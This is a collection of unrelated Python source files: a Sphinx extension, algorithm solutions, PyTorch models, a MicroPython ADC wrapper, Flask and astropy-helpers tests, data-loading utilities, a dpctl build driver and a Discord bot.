# -*- coding: utf-8 -*- #! \file ~/doit_doc_template/__init__.py #! \author Jiří Kučera, <sanczes AT gmail.com> #! \stamp 2018-08-07 12:20:44 +0200 #! \project DoIt! Doc: Sphinx Extension for DoIt! Documentation #! \license MIT #! \version See doit_doc_template.__version__ #! \brief See __doc__ # """\ Sphinx extension that provides DoIt! documentation templates.\ """ __pkgname__ = "doit_doc_template" __author__ = "Jiří Kučera" __author_email__ = "sanczes AT gmail.com".replace(" AT ", "@") __license__ = """\ Copyright (c) 2014 - 2019 Jiří Kučera. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\ """ __version__ = "0.0.0" __url__ = "https://github.com/i386x/doit-doc-template/" from .builders import DoItHtmlBuilder def setup(app): """ """ app.add_builder(DoItHtmlBuilder) return { "version": __version__, "parallel_read_safe": False, "parallel_write_safe": False } #-def
python
""" Given a binary tree, determine if it is a valid binary search tree (BST). Assume a BST is defined as follows: The left subtree of a node contains only nodes with keys less than the node's key. The right subtree of a node contains only nodes with keys greater than the node's key. Both the left and right subtrees must also be binary search trees. confused what "{1,#,2,3}" means? > read more on how binary tree is serialized on OJ. OJ's Binary Tree Serialization: The serialization of a binary tree follows a level order traversal, where '#' signifies a path terminator where no node exists below. Here's an example: 1 / \ 2 3 / 4 \ 5 The above binary tree is serialized as "{1,2,3,#,#,4,#,#,5}". """ # Definition for a binary tree node class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution(object): @staticmethod def iter_bst(root, left, right): if not root: return True if root.val >= right or root.val <= left: return False else: return Solution.iter_bst(root.left, left, root.val) and Solution.iter_bst(root.right, root.val, right) # @param root, a tree node # @return a boolean @staticmethod def is_valid_bst(root): # time cost is N, where N is num of tree elements import sys return Solution.iter_bst(root, -sys.maxint-1, sys.maxint) if __name__ == "__main__": r = TreeNode(1) r.left = TreeNode(-2) r.right = TreeNode(3) r.right.left = TreeNode(2) r.right.left.right = TreeNode(2.5) print Solution.is_valid_bst(r) r1 = TreeNode(10) r1.left = TreeNode(5) r1.right = TreeNode(15) r1.right.left = TreeNode(6) r1.right.right = TreeNode(20) r0 = TreeNode(9) r0.right = r1 print Solution.is_valid_bst(r0)
python
__author__='lhq' import torch from torch import nn from torch.nn import functional as F from torch.autograd import Variable from torchvision import models class logistic_regression(nn.Module): def __init__(self): super(logistic_regression, self).__init__() self.logistic=nn.Linear(4096,2) def forward(self, x): out=self.logistic(x) return out class fc_classify(nn.Module): def __init__(self): super(fc_classify, self).__init__() self.fc_classify=nn.Sequential( nn.Linear(4096,128), nn.ReLU(True), nn.Dropout(p=0.5), nn.Linear(128,2) ) def forward(self, x): out=F.relu(self.fc_classify(x)) return out class conv_classify(nn.Module): def __init__(self,num_classes=2): super(conv_classify, self).__init__() self.conv1=nn.Conv2d(in_channels=3,out_channels=16,kernel_size=3,stride=1,padding=2) #16*64*64 self.pool1=nn.MaxPool2d(kernel_size=2) #16*32*32 self.bn1=nn.BatchNorm2d(16) self.conv2=nn.Conv2d(in_channels=16,out_channels=32,kernel_size=5,stride=1,padding=2) #32*32*32 self.pool2=nn.MaxPool2d(kernel_size=2) #32*16*16 self.bn2=nn.BatchNorm2d(32) self.fc1=nn.Linear(in_features=32*16*16,out_features=512) self.bn3=nn.BatchNorm2d(512) self.out=nn.Linear(in_features=512,out_features=num_classes) def forward(self, x): x=self.conv1(x) x=self.bn1(x) x=self.pool1(x) x=self.conv2(x) x=self.bn2(x) x=self.pool2(x) x=x.view(x.size(0), -1) x=F.relu(self.bn3(self.fc1(x))) x=self.out(x) return F.softmax(x)
python
# Author: Kevin Köck # Copyright Kevin Köck 2018-2020 Released under the MIT license # Created on 2018-07-16 """ example config: { package: .machine.adc component: ADC constructor_args: { pin: 0 # ADC pin number or ADC object (even Amux pin object) # calibration_v_max: 3.3 # optional, v_max for calibration of bad ADC sensors. defaults to 3.3V # calibration_offset: 0 # optional, voltage offset for calibration of bad ADC sensors # atten: null # optional, attn value to use. Voltages aren't adapted to this config, set the calibration kwargs for it to work # max_voltage: null # optional, defaults to calibration_v_max+calibration_offset } } Does not publish anything, just unifies reading of esp8266 ADC, esp32, Amux, Arudino, etc You can pass any ADC object or pin number to ADC() and it will return a corretly subclassed pyADC object """ __version__ = "1.7" __updated__ = "2020-04-09" import machine from sys import platform class pyADC: """ Just a base class to identify all instances of an ADC object sharing the same API """ def __init__(self, *args, calibration_v_max=3.3, calibration_offset=0, max_voltage=None, **kwargs): self._cvm = calibration_v_max self._co = calibration_offset self._mv = max_voltage or calibration_v_max + calibration_offset def convertToVoltage(self, raw): if platform == "esp8266": v = raw / 1023 * self._cvm + self._co elif platform == "esp32": v = raw / 4095 * self._cvm + self._co else: v = raw / 65535 * self._cvm + self._co # every platform now provides this method if v > self._mv: return self._mv elif v < 0: return 0.0 else: return v def readVoltage(self) -> float: """ Return voltage according to used platform. Atten values are not recognized :return: float """ if platform in ("esp8266", "esp32"): raw = self.read() else: try: raw = self.read_u16() # every platform should now provide this method except NotImplementedError: raise NotImplementedError( "Platform {!s} not implemented, please report".format(platform)) return self.convertToVoltage(raw) def __str__(self): return "pyADC generic instance" __repr__ = __str__ def maxVoltage(self) -> float: return self._mv # When using the machineADC class, the following methods are overwritten by machine.ADC, # the machine methods of the hardware ADC. # In other subclasses they have to be implemented. def read(self) -> int: raise NotImplementedError("Implement your subclass correctly!") def read_u16(self) -> int: """returns 0-65535""" raise NotImplementedError("Implement your subclass correctly!") def atten(self, *args, **kwargs): raise NotImplementedError("Atten not supported") def width(self, *args, **kwargs): raise NotImplementedError("Width not supported") # machineADC = type("ADC", (machine.ADC, pyADC), {}) # machine.ADC subclass class machineADC(machine.ADC, pyADC): # machine.Pin ignores additional kwargs in constructor pass def ADC(pin, *args, atten=None, calibration_v_max=3.3, calibration_offset=0, max_voltage=3.3, **kwargs) -> pyADC: if type(pin) == str: raise TypeError("ADC pin can't be string") if isinstance(pin, pyADC): # must be a completely initialized ADC otherwise it wouldn't be a subclass of pyADC # could be machineADC, Arduino ADC or even Amux or Amux ADC object return pin if type(pin) == machine.ADC: # using a hacky way to re-instantiate an object derived from machine.ADC by # reading the used pin from machine.ADC string representation and creating it again. # This does not retain the set atten value sadly. # It is however needed so that isinstance(adc, machine.ADC) is always True for hardware ADCs. astr = str(pin) if platform == "esp8266": # esp8266 only has one ADC pin = 0 elif platform == "esp32": # ADC(Pin(33)) pin = int(astr[astr.rfind("(") + 1:astr.rfind("))")]) else: try: pin = int(astr[astr.rfind("(") + 1:astr.rfind("))")]) except Exception as e: raise NotImplementedError( "Platform {!s} not implemented, str {!s}, {!s}".format(platform, astr, e)) if type(pin) == int: if platform == "esp32": adc = machineADC(machine.Pin(pin), *args, calibration_v_max=calibration_v_max, calibration_offset=calibration_offset, max_voltage=max_voltage, **kwargs) adc.atten(adc.ATTN_11DB if atten is None else atten) return adc elif platform == "esp8266": return machineADC(pin, *args, calibration_v_max=calibration_v_max, calibration_offset=calibration_offset, max_voltage=max_voltage, **kwargs) # esp8266 does not require a pin object else: try: return machineADC(machine.Pin(pin), *args, calibration_v_max=calibration_v_max, calibration_offset=calibration_offset, max_voltage=max_voltage, **kwargs) except Exception as e: raise NotImplementedError( "Platform {!s} not implemented, please report. Fallback resulted in {!s}".format( platform, e)) raise TypeError("Unknown type {!s} for ADC object".format(type(pin)))
python
import pytest from flask import url_for from mock import patch from pydojo.core.tests.test_utils import count_words from pydojo.core.forms import CodeEditorForm @pytest.mark.usefixtures('client_class') class TestCoreIndexView: def test_get_status_code(self): response = self.client.get(url_for('core.index')) assert response.status_code == 302 @pytest.mark.usefixtures('client_class') class TestCoreEditorView: # pseudo acceptance test @patch('pydojo.core.views.id_generator') def test_html(self, mock_id_generator): mock_id_generator.return_value = "Rafael1234" url = url_for('core.editor', hashkey="Rafael1234") response = self.client.get(url) form_url = url_for('core.editor', hashkey="Rafael1234") tags = ( ('<title>', 1), ('<form action="{}".*method="post"'.format(form_url), 1), ('<input id="csrf_token" name="csrf_token" type="hidden".*', 1), ('<input id="hashkey" name="hashkey" ' 'type="hidden" value="Rafael1234">', 1), ('<textarea.*id="code".*</textarea>', 1), ('<button type="submit".*</button>', 1), ('<script src="/static/js/jquery.min.js"></script>', 1), ('<script src="/static/js/bootstrap.min.js"></script>', 1), ('<link href="/static/css/bootstrap.min.css".*>', 1), ('<link href="/static/css/bootstrap-theme.min.css".*>', 1), ) content = response.data.decode('utf-8') for text, count in tags: assert count_words(text, content) == count @patch('pydojo.core.views.id_generator') def test_return_correct_url_hash(self, mock_id_generator): mock_id_generator.return_value = "Rafael1234" response = self.client.get(url_for('core.index')) expected_url = url_for('core.editor', hashkey="Rafael1234") assert expected_url in response.location def test_correct_post(self): url = url_for('core.editor', hashkey="Rafael1234") response = self.client.post(url, data={ 'hashkey': 'Rafael1234', 'source_code': 'print("Hello World!")' }) assert response.status_code == 200
python
# -*- coding: utf-8 -*- """ created by huash06 at 2015-04-29 16:49 Given a collection of intervals, merge all overlapping intervals. For example, Given [1,3],[2,6],[8,10],[15,18], return [1,6],[8,10],[15,18]. """ __author__ = 'huash06' import sys import os import datetime import functools import itertools import collections # Definition for an interval. class Interval: def __init__(self, s=0, e=0): self.start = s self.end = e def __str__(self): return '({}, {})'.format(self.start, self.end) class Solution: # @param {Interval[]} intervals # @return {Interval[]} def merge(self, intervals): if not intervals: return [] # intervals = sorted(intervals, key=functools.cmp_to_key(self.compareInterval)) # intervals = intervals.sort(cmp=self.compareInterval) # intervals = sorted(intervals, cmp=self.compareInterval) # intervals.sort(key=lambda x: x.start) intervals = sorted(intervals, key=lambda x: x.start) ret = [intervals[0]] for i in intervals[1:]: if ret[-1].end >= i.start: ret[-1].end = max(ret[-1].end, i.end) else: ret.append(i) return ret def compareInterval(self, i1, i2): return i1.start - i2.start s = Solution() ivs = [] ivs.append(Interval(1, 3)) ivs.append(Interval(2, 6)) ivs.append(Interval(8, 10)) ivs.append(Interval(15, 18)) i1 = s.merge(ivs) for i in i1: print(i, end=', ')
python
import networkx as nx import networkx.readwrite.edgelist import os def generate(graph_type='', V=None, E=None, WS_probablity=0.1): """ Generate a graph Depending on the graph type, the number of vertices (V) or edges (E) can be specified :param graph_type: any of 'complete' """ if graph_type == 'complete': return nx.complete_graph(V) elif graph_type == 'BA': assert E > V m = round(E / V) # n edges per vertex return nx.barabasi_albert_graph(n=V, m=m) elif graph_type == 'ER': # E = p V (V - 1)/2 p = 2 * E / (V * (V - 1)) return nx.erdos_renyi_graph(n=V, p=p) elif graph_type == 'WS': # small world assert E > V m = round(E / V) # n edges per vertex return nx.watts_strogatz_graph(n=V, k=m, p=WS_probablity) else: raise ValueError if __name__ == '__main__': # G = generate('BA', 10, 20) # print(G.edges) # G = generate('ER', 10, 20) # print(G.edges) # G = generate('WS', 10, 20) # print(G.edges) for n in [100, 1000]: for p in [0.1, 0.4]: G = nx.watts_strogatz_graph(n=n, k=2, p=p) path = f'data/WS/WS_n_{n}_p_{p}.txt' nx.readwrite.edgelist.write_edgelist(G, path) # os.system( # 'python lab/master/__init__.py --graph data/WS/WS_n_100_p_0.1.txt --worker-script lab/upscaling/worker/__init__.py --scale 1.1')
python
from collections import Counter class Vocab(object): def __init__(self, path): self.word2idx = {} self.idx2word = [] with open(path) as f: for line in f: w = line.split()[0] self.word2idx[w] = len(self.word2idx) self.idx2word.append(w) self.size = len(self.word2idx) self.pad = self.word2idx['<pad>'] self.go = self.word2idx['<go>'] self.eos = self.word2idx['<eos>'] self.unk = self.word2idx['<unk>'] self.blank = self.word2idx['<blank>'] self.nspecial = 5 @staticmethod def build(sents, path, size): v = ['<pad>', '<go>', '<eos>', '<unk>', '<blank>'] words = [w for s in sents for w in s] cnt = Counter(words) n_unk = len(words) for w, c in cnt.most_common(size): v.append(w) n_unk -= c cnt['<unk>'] = n_unk with open(path, 'w') as f: for w in v: f.write('{}\t{}\n'.format(w, cnt[w]))
python
# -*- coding: utf-8 -*- # @Time : 2020/8/19 # @Author : Lart Pang # @GitHub : https://github.com/lartpang import json import os import cv2 import mmcv import numpy as np from prefetch_generator import BackgroundGenerator from torch.utils.data import DataLoader class DataLoaderX(DataLoader): def __iter__(self): return BackgroundGenerator(super(DataLoaderX, self).__iter__()) def read_data_dict_from_dir(dir_path: dict) -> dict: img_dir = dir_path["image"]["path"] img_suffix = dir_path["image"]["suffix"] if dir_path.get("mask"): has_mask_data = True mask_dir = dir_path["mask"]["path"] mask_suffix = dir_path["mask"]["suffix"] else: has_mask_data = False if dir_path.get("edge"): has_edge_data = True edge_dir = dir_path["edge"]["path"] edge_suffix = dir_path["edge"]["suffix"] else: has_edge_data = False if dir_path.get("hotspot"): has_hs_data = True hs_dir = dir_path["hotspot"]["path"] hs_suffix = dir_path["hotspot"]["suffix"] else: has_hs_data = False if dir_path.get("cam"): has_cam_data = True cam_dir = dir_path["cam"]["path"] cam_suffix = dir_path["cam"]["suffix"] else: has_cam_data = False total_image_path_list = [] total_mask_path_list = [] total_edge_path_list = [] total_hs_path_list = [] total_cam_path_list = [] name_list_from_img_dir = [x[:-4] for x in os.listdir(img_dir)] if has_mask_data: name_list_from_mask_dir = [x[:-4] for x in os.listdir(mask_dir)] image_name_list = sorted(list(set(name_list_from_img_dir).intersection(set(name_list_from_mask_dir)))) else: image_name_list = name_list_from_img_dir for idx, image_name in enumerate(image_name_list): total_image_path_list.append(dict(path=os.path.join(img_dir, image_name + img_suffix), idx=idx)) if has_mask_data: total_mask_path_list.append(dict(path=os.path.join(mask_dir, image_name + mask_suffix), idx=idx)) if has_edge_data: total_edge_path_list.append(dict(path=os.path.join(edge_dir, image_name + edge_suffix), idx=idx)) if has_hs_data: total_hs_path_list.append(dict(path=os.path.join(hs_dir, image_name + hs_suffix), idx=idx)) if has_cam_data: total_cam_path_list.append(dict(path=os.path.join(cam_dir, image_name + cam_suffix), idx=idx)) return dict( root=dir_path["root"], image=total_image_path_list, mask=total_mask_path_list, edge=total_edge_path_list, hs=total_hs_path_list, cam=total_cam_path_list, ) def read_data_list_form_txt(path: str) -> list: line_list = [] with open(path, encoding="utf-8", mode="r") as f: line = f.readline() while line: line_list.append(line.strip()) line = f.readline() return line_list def read_data_dict_from_json(json_path: str) -> dict: with open(json_path, mode="r", encoding="utf-8") as openedfile: data_info = json.load(openedfile) return data_info def read_color_array(path: str): assert path.endswith(".jpg") or path.endswith(".png") bgr_array = cv2.imread(path, cv2.IMREAD_COLOR) rgb_array = cv2.cvtColor(bgr_array, cv2.COLOR_BGR2RGB) return rgb_array def _flow_to_direction_and_magnitude(flow, unknown_thr=1e6): """Convert flow map to RGB image. Args: flow (ndarray): Array of optical flow. unknown_thr (str): Values above this threshold will be marked as unknown and thus ignored. Returns: ndarray: RGB image that can be visualized. """ assert flow.ndim == 3 and flow.shape[-1] == 2 color_wheel = mmcv.make_color_wheel() assert color_wheel.ndim == 2 and color_wheel.shape[1] == 3 num_bins = color_wheel.shape[0] dx = flow[:, :, 0].copy() dy = flow[:, :, 1].copy() ignore_inds = np.isnan(dx) | np.isnan(dy) | (np.abs(dx) > unknown_thr) | (np.abs(dy) > unknown_thr) dx[ignore_inds] = 0 dy[ignore_inds] = 0 flow_magnitude = np.sqrt(dx ** 2 + dy ** 2) if np.any(flow_magnitude > np.finfo(float).eps): max_rad = np.max(flow_magnitude) dx /= max_rad dy /= max_rad flow_magnitude = np.sqrt(dx ** 2 + dy ** 2) flow_direction = np.arctan2(-dy, -dx) / np.pi # -1,1 bin_real = (flow_direction + 1) / 2 * (num_bins - 1) # [0,num_bins-1) bin_left = np.floor(bin_real).astype(int) bin_right = (bin_left + 1) % num_bins w = (bin_real - bin_left.astype(np.float32))[..., None] flow_img = (1 - w) * color_wheel[bin_left, :] + w * color_wheel[bin_right, :] direction_map = flow_img.copy() small_ind = flow_magnitude <= 1 flow_img[small_ind] = 1 - flow_magnitude[small_ind, None] * (1 - flow_img[small_ind]) flow_img[np.logical_not(small_ind)] *= 0.75 flow_img[ignore_inds, :] = 0 return dict(flow=flow_img, direction=direction_map, magnitude=flow_magnitude) def read_flow_array(path: str, return_info, to_normalize=False): """ :param path: :param return_info: :param to_normalize: :return: 0~1 """ assert path.endswith(".flo") flow_array = mmcv.flowread(path) split_flow = _flow_to_direction_and_magnitude(flow_array) if not isinstance(return_info, (tuple, list)): return_info = [return_info] return_array = dict() for k in return_info: data_array = split_flow[k] if k == "magnitude" and to_normalize: data_array = (data_array - data_array.min()) / (data_array.max() - data_array.min()) return_array[k] = data_array return return_array def read_binary_array(path: str, to_normalize: bool = False, thr: float = -1) -> np.ndarray: """ 1. read the binary image with the suffix `.jpg` or `.png` into a grayscale ndarray 2. (to_normalize=True) rescale the ndarray to [0, 1] 3. (thr >= 0) binarize the ndarray with `thr` 4. return a gray ndarray (np.float32) """ assert path.endswith(".jpg") or path.endswith(".png") gray_array = cv2.imread(path, cv2.IMREAD_GRAYSCALE) if to_normalize: gray_array = gray_array.astype(np.float32) gray_array_min = gray_array.min() gray_array_max = gray_array.max() if gray_array_max != gray_array_min: gray_array = (gray_array - gray_array_min) / (gray_array_max - gray_array_min) else: gray_array /= 255 if thr >= 0: gray_array = (gray_array > thr).astype(np.float32) return gray_array
python
#!/usr/bin/env python3 # quirks: # doesn't redefine the 'import base64' of https://docs.python.org/3/library/base64.html import sys sys.stderr.write("base64.py: error: not implemented\n") sys.exit(2) # exit 2 from rejecting usage # copied from: git clone https://github.com/pelavarre/pybashish.git
python
# Data Parallel Control (dpctl) # # Copyright 2020-2021 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import subprocess import sys def run( use_oneapi=True, build_type="Release", c_compiler=None, cxx_compiler=None, level_zero=True, compiler_root=None, cmake_executable=None, use_glog=False, ): build_system = None if "linux" in sys.platform: build_system = "Ninja" elif sys.platform in ["win32", "cygwin"]: build_system = "Ninja" else: assert False, sys.platform + " not supported" setup_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) cmake_args = [ sys.executable, "setup.py", "develop", ] if cmake_executable: cmake_args += [ "--cmake-executable=" + cmake_executable, ] cmake_args += [ "--", "-G", build_system, "-DCMAKE_BUILD_TYPE=" + build_type, "-DCMAKE_C_COMPILER:PATH=" + c_compiler, "-DCMAKE_CXX_COMPILER:PATH=" + cxx_compiler, "-DDPCTL_ENABLE_LO_PROGRAM_CREATION=" + ("ON" if level_zero else "OFF"), "-DDPCTL_DPCPP_FROM_ONEAPI:BOOL=" + ("ON" if use_oneapi else "OFF"), "-DDPCTL_ENABLE_GLOG:BOOL=" + ("ON" if use_glog else "OFF"), ] if compiler_root: cmake_args += [ "-DDPCTL_DPCPP_HOME_DIR:PATH=" + compiler_root, ] subprocess.check_call( cmake_args, shell=False, cwd=setup_dir, env=os.environ ) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser( description="Driver to build dpctl for in-place installation" ) driver = parser.add_argument_group(title="Coverage driver arguments") driver.add_argument("--c-compiler", help="Name of C compiler", default=None) driver.add_argument( "--cxx-compiler", help="Name of C++ compiler", default=None ) driver.add_argument( "--oneapi", help="Is one-API installation", dest="oneapi", action="store_true", ) driver.add_argument( "--debug", default="Release", const="Debug", action="store_const", help="Set the compilation mode to debugging", ) driver.add_argument( "--compiler-root", type=str, help="Path to compiler home directory" ) driver.add_argument( "--cmake-executable", type=str, help="Path to cmake executable" ) driver.add_argument( "--no-level-zero", help="Enable Level Zero support", dest="level_zero", action="store_false", ) driver.add_argument( "--glog", help="DPCTLSyclInterface uses Google logger", dest="glog", action="store_true", ) args = parser.parse_args() if args.oneapi: args.c_compiler = "icx" args.cxx_compiler = "icpx" if "linux" in sys.platform else "icx" args.compiler_root = None else: args_to_validate = [ "c_compiler", "cxx_compiler", "compiler_root", ] for p in args_to_validate: arg = getattr(args, p, None) if not isinstance(arg, str): opt_name = p.replace("_", "-") raise RuntimeError( f"Option {opt_name} must be provided is " "using non-default DPC++ layout" ) if not os.path.exists(arg): raise RuntimeError(f"Path {arg} must exist") run( use_oneapi=args.oneapi, build_type=args.debug, c_compiler=args.c_compiler, cxx_compiler=args.cxx_compiler, level_zero=args.level_zero, compiler_root=args.compiler_root, cmake_executable=args.cmake_executable, use_glog=args.glog, )
python
import foo.bar foo.bar.baz() #<ref>
python
import glob import imp import os import pkgutil import re import sys import tarfile import pytest from . import reset_setup_helpers, reset_distutils_log, fix_hide_setuptools # noqa from . import run_cmd, run_setup, cleanup_import PY3 = sys.version_info[0] == 3 if PY3: _text_type = str else: _text_type = unicode # noqa _DEV_VERSION_RE = re.compile(r'\d+\.\d+(?:\.\d+)?\.dev(\d+)') TEST_VERSION_SETUP_PY = """\ #!/usr/bin/env python from setuptools import setup NAME = 'apyhtest_eva' VERSION = {version!r} RELEASE = 'dev' not in VERSION from astropy_helpers.git_helpers import get_git_devstr from astropy_helpers.version_helpers import generate_version_py if not RELEASE: VERSION += get_git_devstr(False) generate_version_py(NAME, VERSION, RELEASE, False, uses_git=not RELEASE) setup(name=NAME, version=VERSION, packages=['apyhtest_eva']) """ TEST_VERSION_INIT = """\ try: from .version import version as __version__ from .version import githash as __githash__ except ImportError: __version__ = __githash__ = '' """ @pytest.fixture def version_test_package(tmpdir, request): def make_test_package(version='42.42.dev'): test_package = tmpdir.mkdir('test_package') test_package.join('setup.py').write( TEST_VERSION_SETUP_PY.format(version=version)) test_package.mkdir('apyhtest_eva').join('__init__.py').write(TEST_VERSION_INIT) with test_package.as_cwd(): run_cmd('git', ['init']) run_cmd('git', ['add', '--all']) run_cmd('git', ['commit', '-m', 'test package']) if '' in sys.path: sys.path.remove('') sys.path.insert(0, '') def finalize(): cleanup_import('apyhtest_eva') request.addfinalizer(finalize) return test_package return make_test_package def test_update_git_devstr(version_test_package, capsys): """Tests that the commit number in the package's version string updates after git commits even without re-running setup.py. """ # We have to call version_test_package to actually create the package test_pkg = version_test_package() with test_pkg.as_cwd(): run_setup('setup.py', ['--version']) stdout, stderr = capsys.readouterr() version = stdout.strip() m = _DEV_VERSION_RE.match(version) assert m, ( "Stdout did not match the version string pattern:" "\n\n{0}\n\nStderr:\n\n{1}".format(stdout, stderr)) revcount = int(m.group(1)) import apyhtest_eva assert apyhtest_eva.__version__ == version # Make a silly git commit with open('.test', 'w'): pass run_cmd('git', ['add', '.test']) run_cmd('git', ['commit', '-m', 'test']) import apyhtest_eva.version imp.reload(apyhtest_eva.version) # Previously this checked packagename.__version__, but in order for that to # be updated we also have to re-import _astropy_init which could be tricky. # Checking directly that the packagename.version module was updated is # sufficient: m = _DEV_VERSION_RE.match(apyhtest_eva.version.version) assert m assert int(m.group(1)) == revcount + 1 # This doesn't test astropy_helpers.get_helpers.update_git_devstr directly # since a copy of that function is made in packagename.version (so that it # can work without astropy_helpers installed). In order to get test # coverage on the actual astropy_helpers copy of that function just call it # directly and compare to the value in packagename from astropy_helpers.git_helpers import update_git_devstr newversion = update_git_devstr(version, path=str(test_pkg)) assert newversion == apyhtest_eva.version.version def test_version_update_in_other_repos(version_test_package, tmpdir): """ Regression test for https://github.com/astropy/astropy-helpers/issues/114 and for https://github.com/astropy/astropy-helpers/issues/107 """ test_pkg = version_test_package() with test_pkg.as_cwd(): run_setup('setup.py', ['build']) # Add the path to the test package to sys.path for now sys.path.insert(0, str(test_pkg)) try: import apyhtest_eva m = _DEV_VERSION_RE.match(apyhtest_eva.__version__) assert m correct_revcount = int(m.group(1)) with tmpdir.as_cwd(): testrepo = tmpdir.mkdir('testrepo') testrepo.chdir() # Create an empty git repo run_cmd('git', ['init']) import apyhtest_eva.version imp.reload(apyhtest_eva.version) m = _DEV_VERSION_RE.match(apyhtest_eva.version.version) assert m assert int(m.group(1)) == correct_revcount correct_revcount = int(m.group(1)) # Add several commits--more than the revcount for the apyhtest_eva package for idx in range(correct_revcount + 5): test_filename = '.test' + str(idx) testrepo.ensure(test_filename) run_cmd('git', ['add', test_filename]) run_cmd('git', ['commit', '-m', 'A message']) import apyhtest_eva.version imp.reload(apyhtest_eva.version) m = _DEV_VERSION_RE.match(apyhtest_eva.version.version) assert m assert int(m.group(1)) == correct_revcount correct_revcount = int(m.group(1)) finally: sys.path.remove(str(test_pkg)) @pytest.mark.parametrize('version', ['1.0.dev', '1.0']) def test_installed_git_version(version_test_package, version, tmpdir, capsys): """ Test for https://github.com/astropy/astropy-helpers/issues/87 Ensures that packages installed with astropy_helpers have a correct copy of the git hash of the installed commit. """ # To test this, it should suffice to build a source dist, unpack it # somewhere outside the git repository, and then do a build and import # from the build directory--no need to "install" as such test_pkg = version_test_package(version) with test_pkg.as_cwd(): run_setup('setup.py', ['build']) try: import apyhtest_eva githash = apyhtest_eva.__githash__ assert githash and isinstance(githash, _text_type) # Ensure that it does in fact look like a git hash and not some # other arbitrary string assert re.match(r'[0-9a-f]{40}', githash) finally: cleanup_import('apyhtest_eva') run_setup('setup.py', ['sdist', '--dist-dir=dist', '--formats=gztar']) tgzs = glob.glob(os.path.join('dist', '*.tar.gz')) assert len(tgzs) == 1 tgz = test_pkg.join(tgzs[0]) build_dir = tmpdir.mkdir('build_dir') tf = tarfile.open(str(tgz), mode='r:gz') tf.extractall(str(build_dir)) with build_dir.as_cwd(): pkg_dir = glob.glob('apyhtest_eva-*')[0] os.chdir(pkg_dir) run_setup('setup.py', ['build']) try: import apyhtest_eva loader = pkgutil.get_loader('apyhtest_eva') # Ensure we are importing the 'packagename' that was just unpacked # into the build_dir assert loader.get_filename().startswith(str(build_dir)) assert apyhtest_eva.__githash__ == githash finally: cleanup_import('apyhtest_eva')
python
# ---------------------------------------------------------------------------- # Copyright (c) 2020 Ryan Volz # All rights reserved. # # Distributed under the terms of the BSD 3-clause license. # # The full license is in the LICENSE file, distributed with this software. # # SPDX-License-Identifier: BSD-3-Clause # ---------------------------------------------------------------------------- """Bernard - Discord bot and Head of Behavior.""" import itertools import logging import os import discord from discord.ext import commands logging.basicConfig(level=logging.WARNING) bot_token = os.getenv("DISCORD_TOKEN") owner_id = os.getenv("DISCORD_OWNER") if owner_id is not None: owner_id = int(owner_id) class CustomHelpCommand(commands.DefaultHelpCommand): delete_delay = 30 async def prepare_help_command(self, ctx, command): """Customized to delete command message.""" if ctx.guild is not None: # command is in a text channel, delete response after some time await ctx.message.delete(delay=self.delete_delay) await super().prepare_help_command(ctx, command) async def send_error_message(self, error): """Always send error message to the command context""" await self.context.send(error, delete_after=self.delete_delay) async def send_pages(self): """Notify user in channel if the response is coming as a DM.""" destination = self.get_destination() dest_type = getattr(destination, "type", None) if self.context.guild is not None and dest_type != discord.ChannelType.text: await self.context.send( "I've sent you a Direct Message.", delete_after=self.delete_delay ) for page in self.paginator.pages: await destination.send(page) # override send_bot_help with fix so that unsorted commands stay in right order async def send_bot_help(self, mapping): ctx = self.context bot = ctx.bot if bot.description: # <description> portion self.paginator.add_line(bot.description, empty=True) no_category = "\u200b{0.no_category}:".format(self) def get_category(command, *, no_category=no_category): cog = command.cog return cog.qualified_name + ":" if cog is not None else no_category filtered = [] for _cogname, cog in sorted(bot.cogs.items()): # hard-code no sorting here so that commands are displayed in the order # that they are defined, but allow sort_commands to be used at other levels cog_filtered = await self.filter_commands(cog.get_commands(), sort=False) filtered.extend(cog_filtered) max_size = self.get_max_size(filtered) to_iterate = itertools.groupby(filtered, key=get_category) # Now we can add the commands to the page. for category, cmds in to_iterate: self.add_indented_commands(list(cmds), heading=category, max_size=max_size) note = self.get_ending_note() if note: self.paginator.add_line() self.paginator.add_line(note) await self.send_pages() def get_prefix(bot, message): """Customize prefix by using a callable.""" prefixes = ["! ", "!", ". ", "."] # Check to see if we are outside of a guild. e.g DM's etc. if not message.guild: return prefixes + ["? ", "?"] # If we are in a guild, we allow for the user to mention us or use any of the # prefixes in our list. return commands.when_mentioned_or(*prefixes)(bot, message) initial_extensions = [ "lib.botc_extensions.townsquare", "lib.botc_extensions_private.characters", "lib.extensions.bernard_error_handler", "lib.extensions.owner", "lib.extensions.roles", ] bot = commands.Bot( command_prefix=get_prefix, description="Bernard - Discord bot and Head of Behavior", help_command=CustomHelpCommand( sort_commands=True, dm_help=None, dm_help_threshold=160 ), owner_id=owner_id, ) if __name__ == "__main__": for extension in initial_extensions: bot.load_extension(extension) @bot.event async def on_ready(): """Print status message when ready.""" status = ( f"\n\nLogged in as: {bot.user.name} - {bot.user.id}" f"\nVersion: {discord.__version__}\n" ) print(status) bot.run(bot_token, bot=True, reconnect=True)
python
